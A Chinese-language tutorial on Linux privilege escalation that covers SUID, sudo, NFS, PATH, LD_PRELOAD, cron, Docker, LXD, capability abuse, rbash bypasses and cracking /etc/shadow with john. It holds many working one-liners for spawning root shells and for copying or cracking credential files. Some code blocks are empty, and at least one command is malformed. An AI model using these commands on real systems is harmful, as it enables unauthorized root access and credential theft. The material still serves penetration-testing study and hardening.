Linux提权
声明
知己知彼,百战不殆,有了解才有对策,不是教人有”判”头呀!!
Linux提权即获取root权限,可以划分为非漏洞提权和漏洞提取两部分。
非漏洞提权
利用管理员配置不当获取权限的方法。
利用SUID二进制文件进行提权
SUID权限
- SUID权限只能设置二进制文件。
- 命令的执行者要有二进制的执行权。
- 命令的执行者在执行该二进制文件的时候会获得属主身份。
- SUID权限只能在程序执行过程中有效。
示例:如果root给一个程序赋予了SUID权限,那么这个文件的属主就是root,在执行过程中将获得root权限。
什么是SUID
在实际应用中,仅设置文件的rwx基础权限无法满足安全和灵活性的需求,因此就有了SUID,SGID,SBIT的特殊权限位。具体查看 [[Linux权限]]。
利用方式
首先使用find命令去查找拥有SUID的二进制可执行文件
1 | find -perm -u=s -type=f 2>/dev/null |
假设cp有SUID权限
假设如果cp有SUID权限,那么在执行cp的时候就或拥有root权限。就可以把/etc/passwd复制到桌面进行修改。
首先利用openssl生成一个密码
1 | openssl passwd -1 -salt 1x2x3 abcd |
然后按照etc/passwd的格式添加一个新的用户,权限按root的写。useradd等的操作其实就是修改了passwd,往passwd里写就行。
然后再通过 cp 替换掉etc中的passwd。这样就完成了一个提权帐号的生成。
假设find有SUID权限
只需要使用exec参数即可。
1 | find test -exec "whomi" \; |
find的参数用来指定其他命令,以便用来处理搜索到的结果,结果的输出需要以分号结束,在bash环境中分号代表代码块结束,有特殊意义,所以这里需要转义。
这个时候其实whomi也有了root权限。
假设vim有SUID权限
这就更简单了,使用vim直接去改就完事了。可以直接去修改passwd里的用户基本信息:
1 | aaa:x:1001:1001:aaa,,,:/home/aaa/:/bin/bash |
其他
更多的内容可以参考gtfobins
利用sudo提权
可以通过sudo -l 来查看当前用户能够执行的sudo权限的命令。所以普通用户的权限一定要严格。
sudo和su的区别
- sudo是以root权限去运行一个命令,su是切换用户的身份
- sudo只要知道自己的密码即可,su需要知道切换用户的密码
sudoers文件
查看 ((625a5352-27a1-4c55-b58d-e848ae8ca73e))。
sudo su && sudo bash
当没有对普通用户做严格限制,就可以通过sudo su切换到root。
git
当sudo允许执行git命令时,可以利用git来进行提权
1 | sudo git help config |
perl
1 | sudo perl -e 'exec "/bin/bash";' |
python
1 | sudo python -c 'import pty;pty.spawn("/bin/bash")' |
less
1 | sudo less /etc/hosts |
awk
1 | sudo awk 'BEGIN {system("/bin/bash")}' |
man
1 | sudo man man |
env
通过设置env环境变量来获取root权限。
1 | sudo env /bin/bash |
ftp
1 | sudo ftp |
socat
通过socat客户端连接攻击机,攻击机可获得root shell。先执行服务端,后执行客户端。
scp
1 | scp scp /etc/passwd [email protected]:/root/Desktop |
然后对密码进行破解。可以使用 john 来爆破一下密码。
黑名单情况
如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其他目录下执行。
这种情况就是图中的 ALL, !/usr/bin/find的黑名单形式。这就可以将其放到其他位置进行执行。
NFS配置不当导致的Linux提权
NFS
network file system缩写,网络文件系统,用来挂载某个目录或者文件进行共享,默认是2049端口。
注意
共享的文件不能给到写权限或者root权限。
1 | /home * (rw, no_root_squash) |
/home 挂载目录,* 允许连接的主机,这里是所有,rw是读写权限,no_root_squash 代表客户端允许以root权限访问nfs。
以上配置是错误的。
提权
首先客户端把目标nfs的共享挂载到本地,然后把bash复制进去并赋予SUID权限,操作如图:
此时目标机的home目录下就有了一个具有SUID权限的bash。普通用户执行就可获得root权限,注意,注意需要加上 p 参数,否则权限还是当前用户的。
1 | ./bash -p |
使用场景:和SUID很像,给程序赋予SUID权限然后利用。
ps结合PATH变量进行LInux提权
指定可执行程序所在的目录,例如bin和sbin目录,当我们在终端下运行一个命令的时候,系统会根据PATH来查找相关的可执行文件。
1 |
|
通过这个文件就可以执行ps命令,之后在tmp下进行执行
1 | cd /tmp |
cp结合PATH提权
也可以通过cp把sh可执行程序复制过来。
符号连接结合PATH提权
通过 ln 命令来设置一个连接,连接到sh,但是条件是当前可执行程序所在的目录要有相关权限
但是以上操作的目录不再是tmp,而是C的二进制文件所在位置。
使用LD_PRELOAD进行LInux提权
是Linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LD_PRELOAD可以指定程序运行前加载的动态连接库。
通过LD_PRELOAD指定恶意so文件来提权。
测试
先按如下配置胰腺癌sudoers文件,以aaa用户为例,添加一个find命令和一个LD_PRELOAD。
当通过su切换用户时,环境变量将一同改变,而想要保持某个环境不受用户切换的影响,可以在sudoers文件按中设置env_keep。
提权测试
切换会普通用户,查看sudo权限。由于定义了env_keep,虽然我们依旧只有一个find的sudo权限,且env_keep中定义了LD_PRELOAD,那么我们就可以定义一个恶意的so文件,然后sudo运行find时指定LD_PRELOAD来加载我们自己的so文件,就可以实现提权。
1 |
|
然后进行编译-fPIC shared
参数简单理解就是动态编辑共享库,可以进行公共调用,nostartfiles参数代表该库运行不会去调用系统的其他库,避免影响自己的程序执行。
编译后,我们使用sudo运行find并指定LD_PRELOAD为我们编译的shell.so,这时find就会先调用shell.so
,导致我们的代码被执行,返回root shell。
注意:如果使用自己攻击机编译的so文件,传到目标机可能普通用户没有执行权限,这时需要加上权限。如果目标机支持gcc编译,也可以直接在目标机编译。
利用Cron进行Linux提权
Cron是定时任务。
crontab文件覆盖
这里以root用户创建一下测试环境,利用cron定时执行一个清除特定目标的脚本,例如/tmp/filetest。
1 | # clear.py |
然后添加定时任务,定时任务在etc/crontab
表示每隔2分钟,就执行clear.py一次。
提权方式就是替换掉clear.py 中的内容。这里打算使用dash,一个比bash更小,运行速度更快shell
这里在clear脚本中,给dash增加了SUID权限。然后运行
1 | /bin/dash -p |
利用Docker进行Linux提权
在docekr中是允许访问root用户和docker组中的其他用户的。
提权
首先以root用户身份把一个普通帐号添加到docker组,这里是test用户。然后使用newgrp
将root帐号初始组切换为docker
然后切换到test用户,可以看到当前已经在docker组
之后使用docker run
来运行alpine
镜像,v参数进行挂载,将宿主机的root目录挂载到alpine的mnt下,使用冒号进行分割。i 参数是保持打开状态,t 参数是分配一个tty终端,it 一般结合使用,即保持通讯终端的打开。
这个时候访问docker镜像alpine,就相当于访问主机的root目录,权限变成了root。
利用的方式还有很多,例如将宿主机的etc挂载过来,然后查看shadow文件,进行密码破解。
1 | docker run -v /etc/:/mnt -it alpine |
或者添加root帐号到passwd文件中。
重点是一定是要有可交互终端的。
利用Lxd进行Linux提权
介绍
lxc:系统容器,使进程之间相互隔离,进程虚拟化。
lxd:lxc有些缺点,例如不能进行容器迁移,管理比较复杂,所以进行了升级,即lxd
,用来管理容器。
docker:lxc
和lxd
都是系统容器,而docker是应用程序容器。
攻击机设置
以Kali为例,首先需要下载alpine
,然后进行build构建:
此时会生成一个tar.gz
包,把该包传到目标机的tmp下。导入tmp后,将该映像添加到lxd
中,添加后可通过lxc image list
查看。
之后就可以进行提权操作。整体提权命令就4条:
利用capability进行Linux提权
介绍
capability类似于SUID,是用来让普通用户也可以做超级用户的工作,从而设置的一个机制,原来linux分的是普通用户和超级用户,后来加了capability,即赋予某某帐号能力,这个帐号有了能力就可以做事了。
capability可以分割root权限,把root特权分割成不同的能力,然后给与普通用户不同的能力:
多的很呢。
capability与SUID的缺别:SUID是针对某个用户,而capability是针对某个程序。
在设置程序能力时,有三个选项:
- inheritable,简称 i ,表示是否可继承
- permitted,简称 p,表示是否允许使用
- effective,简称 e,表示特权是否有效
setcap
setcap命令用来设置能力:
1 | setcap cap_setuid+ep /home/demo/python3 |
表示为home/demo/python3这个程序添加了setuid能力,即改变进程uid的能力,+ep就表示能力有效,且允许使用。
提权
首先需要获取有能力的程序。setcap设置能力,getcat读取能力。getcap通过参数 r 来读取指定目录下有能力的程序
能力的滥用会导致提权,例如管理员要为python3程序设置超级权限给aaa用户,但是没有用suid或sudo授权,而是用capability:
因为root只想给aaa用户的python3能力,所以这里将程序复制到了aaa用户下,如果直接设置bin下的python3程序,那么意味着任何用户都具有了相关能力。
这时,获取了aaa账户,通过getcap命令发现python3具有setuid能力且属主和属于都是root。
那么提权就类似于SUID中的python提权方式。提权方式也是同理,其实就是类似于SUID的权限泄露。
rbash绕过
确切的说不属于提权,只是绕过rbash的限制,因为绕过后身份依旧是当前的普通用户
rbash是Restricted bash的缩写,即受限制的bash。管理员可以通过指定普通用户的bash为rbash,来限制相关操作。在rbash中,很多行为和命令都会收到限制。
建立rbash
将用户aaa设置为rbash。
vi绕过
可以进入vi中执行set命令将shell改为/bin/sh.
ed绕过
文件编辑命令,类似于vi,也是内联编辑模式,可输入命令
sh、bash、dash绕过
默认情况下,可以在rbash中执行,从而绕过rbash。如果这些命令不被允许,而cp被允许,可以把这些文件复制到当前目录运行,但是如果 / 符号不被允许,那么是无法复制到当前目录的
可以通过一系列可以执行的程序来绕过
awk绕过
awk命令通过BEGIN参数来指定执行前的语句:
more绕过
可以在more读取文件内容的时候,通过!sh
来进入sh绕过rbash
ssh绕过
ssh可以通过 t 参数来强制分配给自己伪终端,指定强制分配给自己bash。然后指定noprofile参数,bash默认允许时会调用当前用户的bashrc等配置,该参数添加后,bash启动不会读取当前用户的默认配置
1 | ssh aaa@192.168.1.1 -t "bash --noprofile" |
安全检测脚本
漏洞提权
这可太“刑”了。
一般情况下,建议先排查非漏洞提权方法,然后根据内核版本来查找相关的提权漏洞。
获取内核版本后,可以搜索该版本存在的漏洞,以下是常见的检测脚本:
cxsecurity
破解工具
john
获取shadow文件的加密信息进行破解,获取整行。
1 | john shadow # 针对一行信息 |
当依据破解已经破解过的内容的时候,会显示
想要查看依据破解过的密码通过以下命令
1 | john --show shadow # 就可以查看之前破解的结果 |